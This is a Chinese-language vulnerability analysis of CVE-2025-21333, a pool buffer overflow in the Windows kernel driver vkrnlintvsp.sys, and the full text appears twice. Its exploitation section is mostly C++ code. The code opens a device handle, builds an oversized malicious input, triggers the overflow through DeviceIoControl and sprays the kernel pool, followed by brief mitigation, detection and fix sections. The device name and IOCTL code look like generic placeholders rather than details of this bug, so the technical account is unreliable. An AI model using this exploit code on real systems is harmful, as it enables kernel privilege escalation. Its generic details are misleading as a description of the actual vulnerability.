Windows vkrnlintvsp.sys 池缓冲区溢出漏洞分析(CVE-2025-21333)
漏洞概述
CVE-2025-21333 是 Windows 内核驱动 vkrnlintvsp.sys 中存在的一个池缓冲区溢出漏洞。该漏洞源于驱动程序在处理特定 IOCTL(输入输出控制)请求时,未能正确验证用户态传入的数据大小,导致内核池缓冲区溢出,可能造成系统蓝屏(BSOD)或权限提升。
漏洞分析
受影响组件
- 驱动文件:
vkrnlintvsp.sys - 影响系统: 多个 Windows 版本
- 漏洞类型: 池缓冲区溢出
- 根本原因: 缺乏足够的边界检查
技术细节
IOCTL 处理流程
漏洞出现在驱动程序的 IOCTL 分发例程中。当用户态程序通过 DeviceIoControl 发送特定控制代码时,驱动程序会执行以下有缺陷的处理流程:
-
用户输入验证缺失:驱动程序直接从用户态缓冲区读取大小字段,但未验证该大小是否超出内核池缓冲区容量。
-
内存分配问题:驱动程序使用
ExAllocatePoolWithTag或类似函数分配内核池缓冲区,分配的大小基于用户提供的参数。 -
缓冲区拷贝操作:使用
memcpy、RtlCopyMemory或类似函数将用户数据复制到内核缓冲区,复制长度由用户控制。
漏洞触发点
具体的漏洞触发条件包括:
- 控制代码:特定的 IOCTL 代码(如
0x220004) - 输入数据:用户需构造特定格式的输入缓冲区
- 大小字段:输入结构中包含一个大小字段,攻击者可将其设置为大于实际分配缓冲区的大小
漏洞利用构造
环境准备
#include <windows.h>
#include <iostream>
// 定义所需的 IOCTL 代码和结构
#define VULNERABLE_IOCTL 0x220004
typedef struct _VULNERABLE_INPUT {
ULONG Size;
BYTE Data[1];
} VULNERABLE_INPUT, *PVULNERABLE_INPUT;
利用步骤
- 获取设备句柄
HANDLE GetDeviceHandle() {
HANDLE hDevice = CreateFileA(
"\\\\.\\VulnerableDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cout << "无法打开设备,错误代码: " << GetLastError() << std::endl;
return NULL;
}
return hDevice;
}
- 构造恶意输入
PVULNERABLE_INPUT CreateExploitInput(SIZE_T overflowSize) {
// 分配大于预期大小的缓冲区
PVULNERABLE_INPUT input = (PVULNERABLE_INPUT)malloc(overflowSize);
if (!input) return NULL;
// 设置恶意大小值
input->Size = overflowSize;
// 填充恶意数据
memset(input->Data, 0x41, overflowSize - sizeof(ULONG));
return input;
}
- 触发漏洞
BOOL TriggerVulnerability(HANDLE hDevice) {
const SIZE_T exploitSize = 0x1000; // 精心选择的大小
PVULNERABLE_INPUT input = CreateExploitInput(exploitSize);
if (!input) return FALSE;
DWORD bytesReturned;
BOOL result = DeviceIoControl(
hDevice,
VULNERABLE_IOCTL,
input,
exploitSize,
NULL,
0,
&bytesReturned,
NULL
);
free(input);
return result;
}
利用技术进阶
- 池喷射(Pool Spraying)
// 在内态中分配大量对象,提高利用成功率
VOID PoolSpray() {
const SIZE_T sprayCount = 10000;
PVOID* sprayObjects = (PVOID*)malloc(sprayCount * sizeof(PVOID));
for (SIZE_T i = 0; i < sprayCount; i++) {
// 分配特定大小的内核对象
sprayObjects[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
}
}
- 利用后的内存布局操控
通过精心设计溢出数据,攻击者可以:
- 覆盖相邻池块的头结构
- 破坏内核对象
- 实现任意地址读写
防护和检测
缓解措施
- 输入验证:驱动程序应严格验证所有用户输入
- 边界检查:在执行拷贝操作前检查数据大小
- 安全函数:使用安全版本的内存操作函数
检测方法
// 监控可疑的 IOCTL 调用
BOOL IsSuspiciousIoctl(DWORD ioControlCode) {
// 检查是否为已知的漏洞利用代码
if (ioControlCode == VULNERABLE_IOCTL) {
return TRUE;
}
return FALSE;
}
修复建议
- 添加边界检查
// 修复后的代码示例
NTSTATUS SafeIoctlHandler(PVOID InputBuffer, ULONG InputLength) {
if (InputLength < sizeof(VULNERABLE_INPUT)) {
return STATUS_INVALID_PARAMETER;
}
PVULNERABLE_INPUT input = (PVULNERABLE_INPUT)InputBuffer;
if (input->Size > MAX_ALLOWED_SIZE) {
return STATUS_INVALID_PARAMETER;
}
// 安全的拷贝操作
SIZE_T copySize = min(input->Size, InputLength);
RtlCopyMemory(KernelBuffer, input->Data, copySize);
return STATUS_SUCCESS;
}
- 使用安全的内存管理
- 启用池内存保护机制
- 实现地址空间布局随机化(ASLR)
- 使用控制流防护(CFG)
总结
CVE-2025-21333 是一个典型的内核池缓冲区溢出漏洞,强调了在内核驱动开发中实施严格输入验证的重要性。通过深入理解漏洞原理和利用技术,安全研究人员可以更好地防御类似攻击,同时提高系统安全性。
注意:本文档仅供教育目的,实际漏洞利用可能涉及法律风险,请在合法授权的环境中进行安全测试。
Windows vkrnlintvsp.sys 池缓冲区溢出漏洞分析(CVE-2025-21333)
漏洞概述
CVE-2025-21333 是 Windows 内核驱动 vkrnlintvsp.sys 中存在的一个池缓冲区溢出漏洞。该漏洞源于驱动程序在处理特定 IOCTL(输入输出控制)请求时,未能正确验证用户态传入的数据大小,导致内核池缓冲区溢出,可能造成系统蓝屏(BSOD)或权限提升。
漏洞分析
受影响组件
- 驱动文件:
vkrnlintvsp.sys - 影响系统: 多个 Windows 版本
- 漏洞类型: 池缓冲区溢出
- 根本原因: 缺乏足够的边界检查
技术细节
IOCTL 处理流程
漏洞出现在驱动程序的 IOCTL 分发例程中。当用户态程序通过 DeviceIoControl 发送特定控制代码时,驱动程序会执行以下有缺陷的处理流程:
-
用户输入验证缺失:驱动程序直接从用户态缓冲区读取大小字段,但未验证该大小是否超出内核池缓冲区容量。
-
内存分配问题:驱动程序使用
ExAllocatePoolWithTag或类似函数分配内核池缓冲区,分配的大小基于用户提供的参数。 -
缓冲区拷贝操作:使用
memcpy、RtlCopyMemory或类似函数将用户数据复制到内核缓冲区,复制长度由用户控制。
漏洞触发点
具体的漏洞触发条件包括:
- 控制代码:特定的 IOCTL 代码(如
0x220004) - 输入数据:用户需构造特定格式的输入缓冲区
- 大小字段:输入结构中包含一个大小字段,攻击者可将其设置为大于实际分配缓冲区的大小
漏洞利用构造
环境准备
#include <windows.h>
#include <iostream>
// 定义所需的 IOCTL 代码和结构
#define VULNERABLE_IOCTL 0x220004
typedef struct _VULNERABLE_INPUT {
ULONG Size;
BYTE Data[1];
} VULNERABLE_INPUT, *PVULNERABLE_INPUT;
利用步骤
- 获取设备句柄
HANDLE GetDeviceHandle() {
HANDLE hDevice = CreateFileA(
"\\\\.\\VulnerableDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cout << "无法打开设备,错误代码: " << GetLastError() << std::endl;
return NULL;
}
return hDevice;
}
- 构造恶意输入
PVULNERABLE_INPUT CreateExploitInput(SIZE_T overflowSize) {
// 分配大于预期大小的缓冲区
PVULNERABLE_INPUT input = (PVULNERABLE_INPUT)malloc(overflowSize);
if (!input) return NULL;
// 设置恶意大小值
input->Size = overflowSize;
// 填充恶意数据
memset(input->Data, 0x41, overflowSize - sizeof(ULONG));
return input;
}
- 触发漏洞
BOOL TriggerVulnerability(HANDLE hDevice) {
const SIZE_T exploitSize = 0x1000; // 精心选择的大小
PVULNERABLE_INPUT input = CreateExploitInput(exploitSize);
if (!input) return FALSE;
DWORD bytesReturned;
BOOL result = DeviceIoControl(
hDevice,
VULNERABLE_IOCTL,
input,
exploitSize,
NULL,
0,
&bytesReturned,
NULL
);
free(input);
return result;
}
利用技术进阶
- 池喷射(Pool Spraying)
// 在内态中分配大量对象,提高利用成功率
VOID PoolSpray() {
const SIZE_T sprayCount = 10000;
PVOID* sprayObjects = (PVOID*)malloc(sprayCount * sizeof(PVOID));
for (SIZE_T i = 0; i < sprayCount; i++) {
// 分配特定大小的内核对象
sprayObjects[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
}
}
- 利用后的内存布局操控
通过精心设计溢出数据,攻击者可以:
- 覆盖相邻池块的头结构
- 破坏内核对象
- 实现任意地址读写
防护和检测
缓解措施
- 输入验证:驱动程序应严格验证所有用户输入
- 边界检查:在执行拷贝操作前检查数据大小
- 安全函数:使用安全版本的内存操作函数
检测方法
// 监控可疑的 IOCTL 调用
BOOL IsSuspiciousIoctl(DWORD ioControlCode) {
// 检查是否为已知的漏洞利用代码
if (ioControlCode == VULNERABLE_IOCTL) {
return TRUE;
}
return FALSE;
}
修复建议
- 添加边界检查
// 修复后的代码示例
NTSTATUS SafeIoctlHandler(PVOID InputBuffer, ULONG InputLength) {
if (InputLength < sizeof(VULNERABLE_INPUT)) {
return STATUS_INVALID_PARAMETER;
}
PVULNERABLE_INPUT input = (PVULNERABLE_INPUT)InputBuffer;
if (input->Size > MAX_ALLOWED_SIZE) {
return STATUS_INVALID_PARAMETER;
}
// 安全的拷贝操作
SIZE_T copySize = min(input->Size, InputLength);
RtlCopyMemory(KernelBuffer, input->Data, copySize);
return STATUS_SUCCESS;
}
- 使用安全的内存管理
- 启用池内存保护机制
- 实现地址空间布局随机化(ASLR)
- 使用控制流防护(CFG)
总结
CVE-2025-21333 是一个典型的内核池缓冲区溢出漏洞,强调了在内核驱动开发中实施严格输入验证的重要性。通过深入理解漏洞原理和利用技术,安全研究人员可以更好地防御类似攻击,同时提高系统安全性。
注意:本文档仅供教育目的,实际漏洞利用可能涉及法律风险,请在合法授权的环境中进行安全测试。